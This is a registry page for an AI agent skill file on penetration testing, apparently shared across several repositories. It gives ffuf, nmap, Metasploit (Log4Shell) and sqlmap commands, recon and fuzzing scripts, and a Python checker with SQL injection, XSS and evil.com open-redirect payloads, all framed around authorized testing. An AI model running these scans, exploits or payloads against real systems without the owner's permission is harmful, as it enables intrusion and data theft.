penetration-tester
Skill0 starsChanged 13 months agoMITView on GitHub
Penetration testing workflows with ffuf, Metasploit, and security assessment tools
- Installs packages
6 other projects use a version of this.
Adopted by
Most recently taken up by
- poorvith-mp/skills-developertheir own version, first seen Aug 19, 2026
- pekral/cursor-rulestheir own version, first seen Aug 5, 2026
- jshsakura/awesome-opencode-skillstheir own version, first seen Jul 8, 2026
- daemon-blockint-tech/Agentic-Enteprises-Skilltheir own version, first seen May 20, 2026
- rade-nugroho/Agentic-Enteprises-Skilltheir own version, first seen May 20, 2026
- belokonm/claude-supercode-skillstheir own version, first seen Jan 12, 2026
Used with
Projects with it also use business-analyst, performance-engineer and 1 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
belokonmSkillbusiness-analyst
Expert in bridging the gap between business needs and technical solutions. Specializes in Requirements Engineering, BPMN, and Agile User Stories. Use when gathering requirements, creating user stories, modeling business processes, or translating business needs to technical specs.
Also in 4 projects that use this
belokonmSkillperformance-engineer
Expert in system optimization, profiling, and scalability. Specializes in eBPF, Flamegraphs, and kernel-level tuning.
Also in 4 projects that use this
- +1 more from belokonm
Other versions6 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 6
- jshsakura/awesome-opencode-skills★ 31same name
- belokonm/claude-supercode-skills★ 11same name
- pekral/cursor-rules★ 10same name
- rade-nugroho/Agentic-Enteprises-Skill★ 9same name
- daemon-blockint-tech/Agentic-Enteprises-Skill★ 8same name
- poorvith-mp/skills-developer★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository16 other files it gives its agents.
- aws-cost-analyzerSkill
- code-reviewerSkill
- dast-scannerSkill
- database-optimizerSkill
- dependency-checkerSkill
- git-workflowSkill
- java-profilerSkill
- jira-integrationSkill
- memory-analyzerSkill
- performance-monitorSkill
- python-profilerSkill
- refactoring-assistantSkill
- sast-analyzerSkill
- security-scannerSkill
- skill-validatorSkill
- tdd-workflowSkill
The file
We split this skill into the rules it gives an agent
9 rules. 0 are common, 9 are distinctive, and 0 are very specific to this project.
0
Common
Most of the 5 edited versions we read keep these.
9
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 11
IMPORTANT: Only use for authorized testing with explicit written permission.
- Distinctive: line 324
Test and validate exploits:
- Distinctive: line 497
Written Authorization: Always obtain written permission
- Distinctive: line 498
Scope Definition: Test only authorized targets
- Distinctive: line 499
Rate Limiting: Don't overwhelm systems
- Distinctive: line 503
No Destructive Tests: Avoid DoS, data destruction
- Distinctive: line 504
Cleanup: Remove shells, backdoors after testing
- Distinctive: line 506
Legal Compliance: Follow local laws and regulations
- Distinctive: line 590
Don't publicly disclose before fix
“Common” is measured: kept by at least 6 in 10 of the 5 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Penetration Tester Skill
Overview
Penetration testing skill for authorized security assessments, vulnerability exploitation, and security validation. This skill focuses on ethical hacking techniques for CTF challenges, authorized pentesting engagements, and security research.
IMPORTANT: Only use for authorized testing with explicit written permission.
Capabilities
1. Web Application Testing
- Directory/file fuzzing
- Parameter discovery
- Authentication bypass testing
- API endpoint enumeration
- Subdomain discovery
2. Network Security
- Port scanning
- Service enumeration
- Vulnerability scanning
- Exploit verification
3. Exploitation & Post-Exploitation
- Vulnerability exploitation (authorized)
- Privilege escalation testing
- Lateral movement assessment
- Data exfiltration testing
4. Reporting
- Findings documentation
- Risk assessment
- Remediation recommendations
- Executive summary
Tools Integration
ffuf (Fast Web Fuzzer)
Primary tool for web fuzzing:
# Install ffuf
go install github.com/ffuf/ffuf@latest
# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://target.com/FUZZ \
-mc 200,301,302,403
# Subdomain enumeration
ffuf -w /usr/share/wordlists/subdomains.txt \
-u http://FUZZ.target.com \
-mc 200
# Parameter fuzzing
ffuf -w params.txt \
-u http://target.com/api?FUZZ=test \
-mc 200
# POST data fuzzing
ffuf -w payloads.txt \
-u http://target.com/login \
-X POST \
-d '{"username":"admin","password":"FUZZ"}' \
-H "Content-Type: application/json"Nmap (Network Scanner)
Service and vulnerability discovery:
# Quick scan (top 1000 ports)
nmap -T4 target.com
# Full TCP scan
nmap -p- -T4 target.com
# Service version detection
nmap -sV -p 80,443 target.com
# OS detection
sudo nmap -O target.com
# Vulnerability scanning
nmap --script vuln -p 80,443 target.com
# Output all formats
nmap -oA scan_results -p- target.comMetasploit Framework
Exploitation framework:
# Start msfconsole
msfconsole
# Search for exploits
search cve:2021-44228 # Log4Shell
# Use module
use exploit/multi/http/log4shell_header_injection
# Set options
set RHOSTS target.com
set RPORT 8080
set LHOST 192.168.1.100
# Check if target is vulnerable
check
# Run exploit (authorized only!)
exploitBurp Suite
Web proxy and security testing:
# Start Burp Suite
java -jar burpsuite.jar
# Configure browser proxy: 127.0.0.1:8080
# Intercept requests
# Modify and replay
# Use Intruder for fuzzing
# Scanner for automated testing (Pro only)Penetration Testing Workflow
Phase 1: Reconnaissance
# Passive reconnaissance
whois target.com
nslookup target.com
dig target.com ANY
# Subdomain enumeration
ffuf -w subdomains.txt -u http://FUZZ.target.com -mc 200
# Google dorking
site:target.com filetype:pdf
site:target.com inurl:adminPhase 2: Scanning & Enumeration
# Port scanning
nmap -p- -T4 -oA nmap_full target.com
# Service enumeration
nmap -sV -sC -p 80,443,22,3306 target.com
# Web technology detection
whatweb target.com
wafw00f target.com # WAF detectionPhase 3: Vulnerability Assessment
# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/big.txt \
-u http://target.com/FUZZ \
-mc 200,301,302,403 \
-o directory_fuzz.json
# Nikto scan
nikto -h http://target.com
# SQLmap (SQL injection testing)
sqlmap -u "http://target.com/page?id=1" --batch --dbs
# XSS testing
ffuf -w xss-payloads.txt \
-u "http://target.com/search?q=FUZZ" \
-mr "<script"Phase 4: Exploitation (Authorized Only)
# Test identified vulnerabilities
# Document successful exploits
# Capture proof-of-concept
# Maintain access for testing durationPhase 5: Reporting
# Generate findings report
# Include screenshots
# Provide remediation steps
# Rate severity (CVSS)Integration Scripts
pentest_workflow.sh
Automated reconnaissance and scanning:
#!/bin/bash
# Comprehensive penetration testing workflow
TARGET=$1
REPORT_DIR="pentest-reports/$TARGET-$(date +%Y%m%d)"
mkdir -p $REPORT_DIR
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target>"
exit 1
fi
echo "=== Penetration Test: $TARGET ==="
echo "⚠️ Ensure you have written authorization!"
echo "Report directory: $REPORT_DIR"
echo
# 1. Reconnaissance
echo "[1/5] Reconnaissance..."
whois $TARGET > $REPORT_DIR/whois.txt
dig $TARGET ANY > $REPORT_DIR/dns.txt
# 2. Subdomain enumeration
echo "[2/5] Subdomain enumeration..."
ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt \
-u http://FUZZ.$TARGET \
-mc 200 \
-o $REPORT_DIR/subdomains.json \
-s # Silent mode
# 3. Port scanning
echo "[3/5] Port scanning..."
nmap -p- -T4 -oA $REPORT_DIR/nmap_full $TARGET
# 4. Service enumeration
echo "[4/5] Service enumeration..."
PORTS=$(grep "^[0-9]" $REPORT_DIR/nmap_full.nmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -sV -sC -p$PORTS -oA $REPORT_DIR/nmap_services $TARGET
# 5. Web fuzzing (if web server detected)
if grep -q "80\|443" $REPORT_DIR/nmap_full.nmap; then
echo "[5/5] Web directory fuzzing..."
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://$TARGET/FUZZ \
-mc 200,301,302,403 \
-o $REPORT_DIR/directories.json \
-s
fi
echo
echo "=== Scan Complete ==="
echo "Results: $REPORT_DIR/"
echo
echo "Next steps:"
echo " 1. Review findings"
echo " 2. Test identified services"
echo " 3. Document vulnerabilities"
echo " 4. Generate report"web_fuzzer.sh
Advanced web application fuzzing:
#!/bin/bash
# Web application fuzzing toolkit
TARGET=$1
WORDLIST=${2:-/usr/share/wordlists/dirb/common.txt}
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target> [wordlist]"
exit 1
fi
echo "=== Web Fuzzing: $TARGET ==="
# 1. Directory fuzzing
echo "Fuzzing directories..."
ffuf -w $WORDLIST \
-u $TARGET/FUZZ \
-mc 200,301,302,403 \
-fc 404 \
-o fuzz_directories.json
# 2. File fuzzing (multiple extensions)
echo "Fuzzing files..."
ffuf -w $WORDLIST \
-u $TARGET/FUZZ \
-e .php,.html,.txt,.js,.json,.xml,.bak,.old \
-mc 200 \
-o fuzz_files.json
# 3. Parameter fuzzing
echo "Fuzzing parameters..."
ffuf -w /usr/share/wordlists/parameters.txt \
-u "$TARGET/api?FUZZ=test" \
-mc 200 \
-fr "error|invalid" \
-o fuzz_parameters.json
# 4. Virtual host fuzzing
echo "Fuzzing virtual hosts..."
ffuf -w /usr/share/wordlists/subdomains.txt \
-u $TARGET \
-H "Host: FUZZ.$TARGET" \
-mc 200 \
-o fuzz_vhosts.json
echo "Fuzzing complete. Check *_fuzz.json files."exploit_validator.py
Test and validate exploits:
#!/usr/bin/env python3
import requests
import sys
def test_sql_injection(url, param):
"""Test for SQL injection vulnerability"""
payloads = [
"' OR '1'='1",
"1' OR '1'='1' --",
"admin'--",
"1' UNION SELECT NULL--"
]
print(f"Testing SQL injection on {url}?{param}=...")
for payload in payloads:
try:
response = requests.get(f"{url}?{param}={payload}", timeout=5)
# Check for SQL errors
sql_errors = [
"SQL syntax",
"mysql_fetch",
"ORA-",
"PostgreSQL",
"SQLSTATE"
]
if any(error in response.text for error in sql_errors):
print(f" ⚠️ VULNERABLE: SQL error with payload: {payload}")
return True
# Check for successful bypass (status 200 + different content)
if response.status_code == 200 and len(response.text) > 1000:
print(f" ⚠️ POTENTIALLY VULNERABLE: {payload}")
except requests.RequestException as e:
print(f" Error: {e}")
print(" ✓ No SQL injection detected")
return False
def test_xss(url, param):
"""Test for XSS vulnerability"""
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')"
]
print(f"Testing XSS on {url}?{param}=...")
for payload in payloads:
try:
response = requests.get(f"{url}?{param}={payload}", timeout=5)
# Check if payload is reflected unescaped
if payload in response.text:
print(f" ⚠️ VULNERABLE: Payload reflected: {payload}")
return True
except requests.RequestException as e:
print(f" Error: {e}")
print(" ✓ No XSS detected")
return False
def test_open_redirect(url, param):
"""Test for open redirect vulnerability"""
payloads = [
"https://evil.com",
"//evil.com",
"/\\evil.com"
]
print(f"Testing open redirect on {url}?{param}=...")
for payload in payloads:
try:
response = requests.get(
f"{url}?{param}={payload}",
allow_redirects=False,
timeout=5
)
# Check for redirect to external domain
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location', '')
if 'evil.com' in location:
print(f" ⚠️ VULNERABLE: Redirects to: {location}")
return True
except requests.RequestException as e:
print(f" Error: {e}")
print(" ✓ No open redirect detected")
return False
if __name__ == '__main__':
if len(sys.argv) < 3:
print("Usage: python exploit_validator.py <url> <param>")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2]
print("=== Vulnerability Testing ===")
print("⚠️ Only test systems you have permission to test!\n")
test_sql_injection(url, param)
test_xss(url, param)
test_open_redirect(url, param)Common Attack Vectors
1. SQL Injection
# ffuf with SQL payloads
ffuf -w sql-payloads.txt \
-u "http://target.com/api/user?id=FUZZ" \
-mr "root:|admin:|SELECT"2. Authentication Bypass
# Fuzz login parameters
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
-u http://target.com/login \
-X POST \
-d "username=USER&password=PASS" \
-mc 200,3023. API Enumeration
# Discover API endpoints
ffuf -w api-endpoints.txt \
-u http://target.com/api/FUZZ \
-mc 200,401,4034. File Upload Bypass
# Test file upload filters
ffuf -w file-extensions.txt \
-u http://target.com/upload \
-X POST \
-F "file=@shell.FUZZ" \
-mc 200Wordlists & Resources
# SecLists (comprehensive wordlists)
git clone https://github.com/danielmiessler/SecLists
# Common wordlists
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/subdomains-top1million-5000.txt
# Custom wordlists
cewl http://target.com -d 2 -m 5 -w custom_wordlist.txtBest Practices
- Written Authorization: Always obtain written permission
- Scope Definition: Test only authorized targets
- Rate Limiting: Don't overwhelm systems
- Documentation: Record every test and finding
- Proof of Concept: Demonstrate vulnerabilities safely
- Responsible Disclosure: Report findings appropriately
- No Destructive Tests: Avoid DoS, data destruction
- Cleanup: Remove shells, backdoors after testing
- Secure Storage: Encrypt reports and credentials
- Legal Compliance: Follow local laws and regulations
Reporting Template
# Penetration Test Report
## Executive Summary
- Test duration: [dates]
- Scope: [targets]
- Critical findings: [count]
- Overall risk: [High/Medium/Low]
## Findings
### [#1] SQL Injection in Login Form
- **Severity**: Critical (CVSS 9.8)
- **Description**: Login form vulnerable to SQL injection
- **Impact**: Complete database compromise
- **Proof of Concept**:username: admin' OR '1'='1'-- password: anything
- **Remediation**: Use parameterized queries
- **Status**: Open
### [#2] Reflected XSS in Search
- **Severity**: High (CVSS 7.4)
- **Description**: Search parameter reflects user input unescaped
- **Impact**: Account takeover via session hijacking
- **Proof of Concept**:http://target.com/search?q=<script>alert(document.cookie)</script>
- **Remediation**: Implement output encoding, CSP headers
- **Status**: Open
## Recommendations
1. Immediate: Fix critical SQL injection
2. Short-term: Implement CSP, output encoding
3. Long-term: Security training, regular pentestsRequirements
# ffuf
go install github.com/ffuf/ffuf@latest
# Nmap
sudo apt-get install nmap
# Metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# Burp Suite
# Download from: https://portswigger.net/burp
# Wordlists
sudo apt-get install seclists
# Or: git clone https://github.com/danielmiessler/SecListsLegal & Ethical Considerations
Authorization Requirements
- Written permission from system owner
- Defined scope and objectives
- Rules of engagement documented
- Emergency contacts established
Prohibited Activities
- Testing without authorization
- Denial of Service attacks
- Data exfiltration beyond PoC
- Social engineering without consent
- Physical security testing without permission
Responsible Disclosure
- Report findings to organization
- Provide reasonable time to fix (90 days typical)
- Don't publicly disclose before fix
- Coordinate disclosure with vendor
CTF & Training Resources
- HackTheBox: https://www.hackthebox.com
- TryHackMe: https://tryhackme.com
- PentesterLab: https://pentesterlab.com
- VulnHub: https://www.vulnhub.com
- OWASP WebGoat: Vulnerable web application for training
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

